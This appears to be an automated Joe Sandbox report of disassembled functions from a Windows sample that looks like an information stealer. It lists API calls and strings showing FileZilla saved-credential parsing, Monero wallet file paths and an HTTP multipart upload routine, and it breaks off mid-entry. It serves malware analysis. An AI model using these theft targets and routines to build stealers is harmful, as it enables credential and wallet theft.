Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 94dc0c103026a99a5981d1d3c5fe6c71d38037d5d71b08f195ace2248eb31f31
Instruction ID: e2713951652f1161541bfeedaec417a2d444c917b611836b77a99c2eb4bd5978
Opcode Fuzzy Hash: 94dc0c103026a99a5981d1d3c5fe6c71d38037d5d71b08f195ace2248eb31f31
Instruction Fuzzy Hash: 7762F7B6610300AFC345DFADED98B663BF9F78C601714C51AA60EC3364D679A842DB72

Function 00AC7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00AC7724
RtlAllocateHeap.NTDLL(00000000), ref: 00AC772B
lstrcat.KERNEL32(?,017894E8), ref: 00AC78DB
lstrcat.KERNEL32(?,?), ref: 00AC78EF
lstrcat.KERNEL32(?,?), ref: 00AC7903
lstrcat.KERNEL32(?,?), ref: 00AC7917
lstrcat.KERNEL32(?,0178DC88), ref: 00AC792B
lstrcat.KERNEL32(?,0178DB20), ref: 00AC793F
lstrcat.KERNEL32(?,0178DCE8), ref: 00AC7952
lstrcat.KERNEL32(?,0178DD78), ref: 00AC7966
lstrcat.KERNEL32(?,0178DFF8), ref: 00AC797A
lstrcat.KERNEL32(?,?), ref: 00AC798E
lstrcat.KERNEL32(?,?), ref: 00AC79A2
lstrcat.KERNEL32(?,?), ref: 00AC79B6
lstrcat.KERNEL32(?,0178DC88), ref: 00AC79C9
lstrcat.KERNEL32(?,0178DB20), ref: 00AC79DD
lstrcat.KERNEL32(?,0178DCE8), ref: 00AC79F1
lstrcat.KERNEL32(?,0178DD78), ref: 00AC7A04
lstrcat.KERNEL32(?,0178E060), ref: 00AC7A18
lstrcat.KERNEL32(?,?), ref: 00AC7A2C
lstrcat.KERNEL32(?,?), ref: 00AC7A40
lstrcat.KERNEL32(?,?), ref: 00AC7A54
lstrcat.KERNEL32(?,0178DC88), ref: 00AC7A68
lstrcat.KERNEL32(?,0178DB20), ref: 00AC7A7B
lstrcat.KERNEL32(?,0178DCE8), ref: 00AC7A8F
lstrcat.KERNEL32(?,0178DD78), ref: 00AC7AA3
lstrcat.KERNEL32(?,0178E0C8), ref: 00AC7AB6
lstrcat.KERNEL32(?,?), ref: 00AC7ACA
lstrcat.KERNEL32(?,?), ref: 00AC7ADE
lstrcat.KERNEL32(?,?), ref: 00AC7AF2
lstrcat.KERNEL32(?,0178DC88), ref: 00AC7B06
lstrcat.KERNEL32(?,0178DB20), ref: 00AC7B1A
lstrcat.KERNEL32(?,0178DCE8), ref: 00AC7B2D
lstrcat.KERNEL32(?,0178DD78), ref: 00AC7B41
lstrcat.KERNEL32(?,0178E130), ref: 00AC7B55
lstrcat.KERNEL32(?,?), ref: 00AC7B69
lstrcat.KERNEL32(?,?), ref: 00AC7B7D
lstrcat.KERNEL32(?,?), ref: 00AC7B91
lstrcat.KERNEL32(?,0178DC88), ref: 00AC7BA4
lstrcat.KERNEL32(?,0178DB20), ref: 00AC7BB8
lstrcat.KERNEL32(?,0178DCE8), ref: 00AC7BCC
lstrcat.KERNEL32(?,0178DD78), ref: 00AC7BDF
lstrcat.KERNEL32(?,0178E198), ref: 00AC7BF3
lstrcat.KERNEL32(?,?), ref: 00AC7C07
lstrcat.KERNEL32(?,?), ref: 00AC7C1B
lstrcat.KERNEL32(?,?), ref: 00AC7C2F
lstrcat.KERNEL32(?,0178DC88), ref: 00AC7C43
lstrcat.KERNEL32(?,0178DB20), ref: 00AC7C56
lstrcat.KERNEL32(?,0178DCE8), ref: 00AC7C6A
lstrcat.KERNEL32(?,0178DD78), ref: 00AC7C7E

Part of subcall function 00AC75D0: lstrcat.KERNEL32(35F15020,00AE17FC), ref: 00AC7606
Part of subcall function 00AC75D0: lstrcat.KERNEL32(35F15020,00000000), ref: 00AC7648
Part of subcall function 00AC75D0: lstrcat.KERNEL32(35F15020, : ), ref: 00AC765A
Part of subcall function 00AC75D0: lstrcat.KERNEL32(35F15020,00000000), ref: 00AC768F
Part of subcall function 00AC75D0: lstrcat.KERNEL32(35F15020,00AE1804), ref: 00AC76A0
Part of subcall function 00AC75D0: lstrcat.KERNEL32(35F15020,00000000), ref: 00AC76D3
Part of subcall function 00AC75D0: lstrcat.KERNEL32(35F15020,00AE1808), ref: 00AC76ED
Part of subcall function 00AC75D0: task.LIBCPMTD ref: 00AC76FB

lstrcat.KERNEL32(?,0178E3E0), ref: 00AC7E0B
lstrcat.KERNEL32(?,0178D318), ref: 00AC7E1E
lstrlen.KERNEL32(35F15020), ref: 00AC7E2B
lstrlen.KERNEL32(35F15020), ref: 00AC7E3B

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: a5f66490e775d33f30c54ae067edd57c175cc6909686d470c4617f97f862330d
Instruction ID: 35507f70aa63868f393fdb72ae3fe7e1839a9cef4876e4c65b9e40b08c6e436a
Opcode Fuzzy Hash: a5f66490e775d33f30c54ae067edd57c175cc6909686d470c4617f97f862330d
Instruction Fuzzy Hash: B33221B6D00314ABC715EBA4DC85EEE737CBB44700F444689F20EA6290EE74E7858F62

Function 00AD0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00AD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00AD8E0B

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AC99EC
Part of subcall function 00AC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AC9A11
Part of subcall function 00AC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AC9A31
Part of subcall function 00AC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AC148F,00000000), ref: 00AC9A5A
Part of subcall function 00AC99C0: LocalFree.KERNEL32(00AC148F), ref: 00AC9A90
Part of subcall function 00AC99C0: CloseHandle.KERNEL32(000000FF), ref: 00AC9A9A

Part of subcall function 00AD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00AD8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00AE0DBA,00AE0DB7,00AE0DB6,00AE0DB3), ref: 00AD0362
RtlAllocateHeap.NTDLL(00000000), ref: 00AD0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00AD0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00AD03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00AD0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00AD0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00AD0562
lstrcat.KERNEL32(?,profile: null), ref: 00AD0571
lstrcat.KERNEL32(?,url: ), ref: 00AD0580
lstrcat.KERNEL32(?,00000000), ref: 00AD0593
lstrcat.KERNEL32(?,00AE1678), ref: 00AD05A2
lstrcat.KERNEL32(?,00000000), ref: 00AD05B5
lstrcat.KERNEL32(?,00AE167C), ref: 00AD05C4
lstrcat.KERNEL32(?,login: ), ref: 00AD05D3
lstrcat.KERNEL32(?,00000000), ref: 00AD05E6
lstrcat.KERNEL32(?,00AE1688), ref: 00AD05F5
lstrcat.KERNEL32(?,password: ), ref: 00AD0604
lstrcat.KERNEL32(?,00000000), ref: 00AD0617
lstrcat.KERNEL32(?,00AE1698), ref: 00AD0626
lstrcat.KERNEL32(?,00AE169C), ref: 00AD0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00AE0DB2), ref: 00AD068E

Strings

profile: null, xrefs: 00AD0568
password: , xrefs: 00AD05FB
<Port>, xrefs: 00AD03C6
browser: FileZilla, xrefs: 00AD0559
url: , xrefs: 00AD0577
<Host>, xrefs: 00AD037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00AD02A4
<User>, xrefs: 00AD0410
login: , xrefs: 00AD05CA
<Pass encoding="base64">, xrefs: 00AD045A

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 33b499ebf803a95ef2054152d497207ad8f9a5ae776340a1d9cdfc1820138ac3
Instruction ID: bb2f27e57e17853d319cc3a157b8ac54bceabebc228203992a785d38ed80bfa8
Opcode Fuzzy Hash: 33b499ebf803a95ef2054152d497207ad8f9a5ae776340a1d9cdfc1820138ac3
Instruction Fuzzy Hash: 08D15171900208ABDB04EBF4DE96EEE7338FF64300F508519F507A6291EF74AA46DB61

Function 00AC5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AC4839
Part of subcall function 00AC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AC4849

lstrlen.KERNEL32(00000000), ref: 00AC5193

Part of subcall function 00AD8EA0: CryptBinaryToStringA.CRYPT32(00000000,00AC5184,40000001,00000000,00000000,?,00AC5184), ref: 00AD8EC0

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00AC5207
StrCmpCA.SHLWAPI(?,0178E2B0), ref: 00AC5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AC5340
HttpOpenRequestA.WININET(00000000,0178E380,?,0178DD18,00000000,00000000,00400100,00000000), ref: 00AC53A4

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0178E400,00000000,?,01789A58,00000000,?,00AE19DC,00000000,?,00AD51CF), ref: 00AC5737
lstrlen.KERNEL32(00000000), ref: 00AC574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00AC575C
RtlAllocateHeap.NTDLL(00000000), ref: 00AC5763
lstrlen.KERNEL32(00000000), ref: 00AC5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AC57A9
lstrlen.KERNEL32(00000000), ref: 00AC57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AC57E1
lstrlen.KERNEL32(00000000,?,?), ref: 00AC580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00AC5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00AC584D
InternetCloseHandle.WININET(00000000), ref: 00AC58B1
InternetCloseHandle.WININET(00000000), ref: 00AC58BE
InternetCloseHandle.WININET(00000000), ref: 00AC58C8

Strings

------, xrefs: 00AC5297
", xrefs: 00AC5482
--, xrefs: 00AC5280
------, xrefs: 00AC54F9
------, xrefs: 00AC563B
------, xrefs: 00AC53B7
", xrefs: 00AC5706
", xrefs: 00AC55C4

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: e42891e54affe45c794d16ae74a75a4591726330d4ef68b5b25661cae9b7babc
Instruction ID: d6c831d56876ebed9f7fa204414203e4fea3b5a3624d72600d51f23ef0b2b32c
Opcode Fuzzy Hash: e42891e54affe45c794d16ae74a75a4591726330d4ef68b5b25661cae9b7babc
Instruction Fuzzy Hash: 2D324372920218ABDB14EBA0DD95FEE7378BF64700F40415AF507A2292EF706B49CF65

Function 00ACA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ADAA70: StrCmpCA.SHLWAPI(01788B20,00ACA7A7,?,00ACA7A7,01788B20), ref: 00ADAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00ACAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00ACAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00ACABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ACA8B0

Part of subcall function 00ADA820: lstrlen.KERNEL32(00AC4F05,?,?,00AC4F05,00AE0DDE), ref: 00ADA82B
Part of subcall function 00ADA820: lstrcpy.KERNEL32(00AE0DDE,00000000), ref: 00ADA885

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

lstrcat.KERNEL32(?,00000000), ref: 00ACACEB
lstrcat.KERNEL32(?,00AE1320), ref: 00ACACFA
lstrcat.KERNEL32(?,00000000), ref: 00ACAD0D
lstrcat.KERNEL32(?,00AE1324), ref: 00ACAD1C
lstrcat.KERNEL32(?,00000000), ref: 00ACAD2F
lstrcat.KERNEL32(?,00AE1328), ref: 00ACAD3E
lstrcat.KERNEL32(?,00000000), ref: 00ACAD51
lstrcat.KERNEL32(?,00AE132C), ref: 00ACAD60
lstrcat.KERNEL32(?,00000000), ref: 00ACAD73
lstrcat.KERNEL32(?,00AE1330), ref: 00ACAD82
lstrcat.KERNEL32(?,00000000), ref: 00ACAD95
lstrcat.KERNEL32(?,00AE1334), ref: 00ACADA4
lstrcat.KERNEL32(?,00000000), ref: 00ACADB7
lstrlen.KERNEL32(?), ref: 00ACAE0D
lstrlen.KERNEL32(?), ref: 00ACAE1C

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

DeleteFileA.KERNEL32(00000000), ref: 00ACAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00ACABD4

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 75d25d91987acf8dd98a81a509a617d4ede9737263975a7daa3cb412572825f6
Instruction ID: 1b943c55599ae54f32400a5ec5da4506ae831b6b06420d22daea97dc2618f65c
